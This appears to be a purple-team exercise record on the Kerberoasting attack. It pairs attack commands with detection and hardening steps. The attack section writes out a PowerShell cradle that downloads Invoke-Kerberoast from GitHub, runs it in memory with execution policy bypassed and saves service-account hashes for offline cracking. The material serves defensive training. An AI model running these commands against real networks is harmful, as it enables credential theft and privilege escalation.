Purple Team Lifecycle

Overall Status: **In DEV**

PB1170 - Kerberoasting

Lifecycle Project Manager
Jordan Drysdale
Office: 777.777.7777
Mobile: 888.888.8888
Email: jordan@defensiveorigins.com

- Lifecycle Kickoff: 2/1/2021
- Simulation Start: 2/3/2021
- Simulation End: 2/6/2021
- Configuration Identified: 11/29/2020
- Change Management Referred: 2/6/2021
- Configuration Deployed: TBD

Status Code Legend
- Attack Simulation
- Defense Simulation
- System Configuration Change
- Information

APT Lifecycle Ingest and Research	• Lifecycle Type: **Attack Simulation** • Lifecycle Objective: **Detection / Alerting**	• Ingest Source: Webcast / InfoSec Chatter • https://attack.mitre.org/techniques/T1558/003/
	• Identify the ingest/intended attack and/or defense techniques. Define source of technique and type of ingest: Tim Medin's webcast on attack: https://www.youtube.com/watch?v=IBeUz7zMN24 The Kerberoast attack has been used to gather credential materials (hashes) for service accounts with registered SPNs. Hackers can then crack the hashes offline to recover usable credentials (often privileged accounts).	

Attack methodology	• Attack Methodology Test
	
	# Add an SPN to an account then query for all records
	`setspn -a ws01/luis.graves.labs.local:1433 labs.local\luis.graves`
	`setspn -T labs.local -Q */*`
	
	# From command prompt
	# Instantiate powershell.exe, cradle the kerberoast module, run it, and output to Hashcat
	`powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
	
	# Cleaner output than command
	`powershell -ep bypass`
	
	# Do the same thing done previously, cleaner
	`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'c:\users\public\HashCapture.txt' -Width 8000`	

Defense methodology	Defense Methodology Test • Use an account as a Honey-SPN target. Anytime the account gets enumerated, trigger responses. • Implement lengthy and randomized passwords for service accounts. • Check SIGMA rules and Elastalert by selecting the elastalert_status-* index in Kibana after performing the attack. • Apply standard methodology for hunting IOCs. The Elastic query below was found to be reliable in producing the result set the defensive operations team was hoping to discover with this lifecycle. • ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and service_ticket_name : "luis.graves" and event_id : 4769
Lifecycle Adjustments	● Configure SPN on account of choice. This account will then be tuned and monitored closely. Any Kerberos related activity on this account should warrant IR. ● This effort may require additional stakeholders to make alerting / notifications operations
Change Management	● Systems Requiring Configuration Change: Logging / Alerting Infrastructure ● Accounts Requiring Configuration Change: labs.local\glen.shaw ● Justification for change: Improve detections for modern attacks (Kerberoasting) ● Affected Users: None at this time, Glen.Shaw was created intentionally as honey account. HR and Finance departments may lose access to global databases. ● Identified Key Parties: IT Operations primarily. May impact SQL databases where accounts with SPNs are running and their passwords get changed. ● Potential issues: If services do not restart on account change, kick in roll back procedure. ● Deployment Procedure: Update account passwords, deploy Glen.Shaw ● Rollback Procedure: Use previously documented account passwords via password manager history viewer.
Lessons Learned	● Kerberoasting can result in privilege escalation if passwords are sufficiently weak ● Best detection for this attack is a honey account ● Password changes can be a challenge, and documentation is critical to success